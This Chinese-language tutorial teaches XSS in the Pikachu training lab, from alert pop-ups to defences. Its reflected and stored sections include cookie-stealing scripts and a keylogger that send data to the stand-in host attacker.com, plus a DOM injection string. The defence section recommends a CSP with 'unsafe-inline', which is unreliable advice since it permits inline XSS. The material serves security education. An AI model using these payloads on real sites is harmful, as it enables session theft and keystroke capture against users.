当前位置: 首页 > news >正文

新手必看:用Pikachu靶场手把手教你复现XSS攻击(从弹窗到窃取Cookie)

零基础实战:用Pikachu靶场构建XSS攻击防御思维

第一次在Pikachu靶场看到<script>alert(1)</script>这段代码弹出警告框时,那种"原来黑客是这样操作的"的顿悟感至今难忘。XSS攻击作为Web安全领域的常青树,其危害性往往被初学者低估——直到你亲眼看到自己的Cookie被恶意脚本窃取。本文将带你从最基础的弹窗测试开始,逐步拆解反射型、存储型和DOM型XSS的攻击原理,最终实现从"看懂攻击"到"防御攻击"的思维跃迁。

1. 实验环境搭建与基础认知

在开始实战前,需要准备以下环境组件:

  • Pikachu靶场:GitHub开源项目,专为Web安全学习设计的漏洞演练平台
  • 浏览器开发者工具:Chrome/Firefox的F12调试控制台
  • Burp Suite社区版:用于拦截和修改HTTP请求

提示:所有实验请在本地虚拟机构建的靶场中进行,切勿在公网环境测试未授权系统

XSS攻击本质是注入恶意脚本到可信上下文的过程。想象这样一个场景:论坛允许用户提交评论,但未对评论内容过滤。攻击者提交包含JavaScript代码的评论后,所有查看该页面的用户都会执行这段代码。这就是最典型的存储型XSS。

三种基础XSS类型对比

类型触发条件持久性典型案例
反射型需要用户点击特制链接非持久钓鱼邮件中的恶意URL
存储型恶意代码存入数据库持久论坛评论区的脚本注入
DOM型前端JS处理漏洞依赖DOM解析单页面应用参数处理

2. 反射型XSS实战剖析

打开Pikachu靶场的"反射型XSS(get)"模块,你会看到一个简单的NBA球员偏好调查表单。表面看这是个无害的投票功能,但关键在于后端如何处理输入。

经典攻击步骤

  1. 在输入框尝试基础payload:<script>alert(document.domain)</script>
  2. 观察页面响应,发现弹窗显示当前域名
  3. 进阶测试Cookie窃取:
    <script> fetch('http://attacker.com/steal?data='+document.cookie) </script>

注意:实际攻击中需要将特殊字符进行URL编码,例如<变为%3C

关键突破点分析

  • 未对<script>标签过滤
  • 输出直接嵌入HTML上下文
  • Cookie未设置HttpOnly属性

通过Burp Suite拦截请求,可以看到原始参数结构:

GET /xss_reflected_get.php?message=PAYLOAD&submit=submit HTTP/1.1

3. 存储型XSS的持久化威胁

存储型XSS的破坏力体现在其持久性上。在Pikachu的留言板模块尝试以下操作:

  1. 提交恶意留言:
    <script> let img = new Image(); img.src = 'http://attacker.com/log?cookie='+document.cookie; </script>
  2. 用不同设备访问留言板页面
  3. 观察攻击者服务器接收到的Cookie数据

高级攻击技巧——键盘记录

document.onkeypress = function(e) { fetch('http://attacker.com/log?key='+e.key); }

这种攻击的可怕之处在于,即使用户关闭页面,只要恶意代码仍存储在服务器上,新访问者就会持续中招。某知名博客平台曾因存储型XSS漏洞导致百万用户数据泄露。

4. DOM型XSS的隐形陷阱

DOM型XSS的特殊性在于漏洞完全存在于客户端代码中。分析Pikachu的DOM型XSS模块:

  1. 查看页面源码,定位关键JavaScript代码:
    function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; }
  2. 构造利用字符串:
    ' onclick='alert(1)
  3. 生成的恶意链接:
    <a href='' onclick='alert(1)'>what do you see?</a>

现代前端框架中的DOM XSS

// Vue.js示例中的潜在风险 new Vue({ el: '#app', template: `<div>` + userInput + `</div>` })

5. 防御体系的构建策略

理解了攻击原理后,防御措施就变得直观。以下是分层防护方案:

输入处理层

  • 白名单过滤(如DOMPurify库)
  • 上下文相关编码:
    // HTML上下文 htmlspecialchars($input, ENT_QUOTES); // JavaScript上下文 json_encode($input);

输出处理层

  • 设置CSP(内容安全策略)头:
    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
  • Cookie安全标记:
    setcookie("session", $id, [ 'httponly' => true, 'samesite' => 'Strict' ]);

框架级防护

  • React的自动转义机制
  • Angular的模板沙箱
  • Vue的v-html指令警告

在最近的一次渗透测试中,我们发现即使采用了所有常规防护措施,通过精心构造的SVG文件仍可绕过过滤。这提醒我们安全防护需要持续迭代更新。

http://www.jsqmd.com/news/869614/

相关文章:

  • 靠谱的盆式橡胶支座靠谱生产商推荐,羿昇工程橡胶口碑佳 - mypinpai
  • AI Agent智能体技术:从问答到执行的范式革命
  • 为什么ChatGPT会推荐某些供应商?聊聊外贸GEO背后的逻辑
  • 探讨有口碑的XC61CC2702高精度低功耗电压检测,哪家性价比高 - myqiye
  • CH347玩转双模式:一篇教程搞定JTAG和SWD对STM32的调试与下载
  • STM32F103 ADC多通道采样,用DMA搬运数据到底有多省心?一个完整工程带你上手
  • 梳理平凉低耗电太阳能路灯品牌,哪家口碑更好一目了然 - myqiye
  • 深聊靠谱的建筑机电安装工程专业承包一级资质企业,费用怎么算 - mypinpai
  • 用PyTorch手把手实现PGD对抗训练:从FGM的‘一步到位’到‘小步快跑’的实战代码详解
  • 浙江高耐用静电除尘器靠谱厂家分析 科森环境实力稳居前列,旋风分离器/水帘除尘器/滤筒除尘器,静电除尘器批发厂家哪个好 - 品牌推荐师
  • CAN总线电压测试避坑指南:用示波器实测显性/隐性电平,别再被CAN_H和CAN_L的命名误导了
  • 保姆级教程:在Ubuntu 22.04上配置VNC Server,并用VNC Viewer远程桌面(解决加密报错)
  • 2026年PCB行业研究报告
  • 2026靠谱的汽车大屏导航安装店铺排名,为你推荐性价比高的服务 - myqiye
  • 从main.cc到五大视图:手把手拆解QGC的UI启动流程(附QML与C++交互实例)
  • 安科士(AndXe)SPF-10G-T :10G 电口模块,重塑短距网络升级性价比
  • 盘点蓝金灵团队凝聚力、市场份额和产品功能,哪家性价比高 - mypinpai
  • 保姆级教程:在Ubuntu 22.04上用Netplan搞定Bond+VLAN+Bridge混合网络(附H3C交换机配置)
  • 上海婚介所选购指南,梅园婚恋资源丰富度成亮点 - myqiye
  • 告别命令行!用VSCode插件一键搞定ESP-IDF环境(ESP32/S3保姆级教程)
  • 别再只用默认样式了!手把手教你定制LVGL Bar进度条的3种高级视觉效果
  • 从QPLL与CPLL选型到线速计算:一份给Xilinx GTY新手的时钟配置速查手册
  • QMCDecode终极指南:3步解锁QQ音乐加密文件的完整教程 [特殊字符]
  • 别再死记硬背了!图解ASCII码表,轻松掌握C语言字符处理的底层逻辑
  • 告别手动分割!用Python脚本一键生成VOC数据集所需的train.txt和val.txt
  • 告别漫长等待:优化银河麒麟ARM平台Qt源码编译速度的几种思路
  • MDK-7526是什么?基于VHL配体的PROTAC核心组件,泛素连接酶募集剂
  • 手把手教你用AD9834 DDS模块DIY一个可调信号源(附AD原理图/PCB/程序)
  • 可靠的孩子叛逆不上学情绪暴躁矫正机构收费情况揭秘 - myqiye
  • B 题:嵌入式社区养老服务站的建设与优化问题